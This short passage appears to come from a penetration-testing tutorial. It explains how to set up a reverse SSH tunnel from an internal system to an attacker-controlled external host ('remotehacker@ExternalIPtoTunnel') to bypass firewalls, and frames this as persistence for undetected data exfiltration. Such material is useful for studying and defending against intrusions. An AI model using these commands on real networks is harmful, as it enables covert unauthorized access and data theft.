In order to establish a stable connection from external to internal systems, a tunnel must be established using SSH:

ssh -R 2210:localhost:443 -p 443 remotehacker@ExternalIPtoTunnel

The following screenshot provides the login from internal to external host using SSH and has opened up a port 2210 on the local host to forward SSH:

This is done to establish a stable reverse connection to the remote host, using a reverse SSH tunnel to bypass any firewall restrictions. Once the remote system is authenticated, run the following command:

ssh -p 2210 localhost

When you have internal access, it is all about the persistence that one needs to maintain to exfiltrate the data, and also maintain access without detection by any firewall or network protection devices.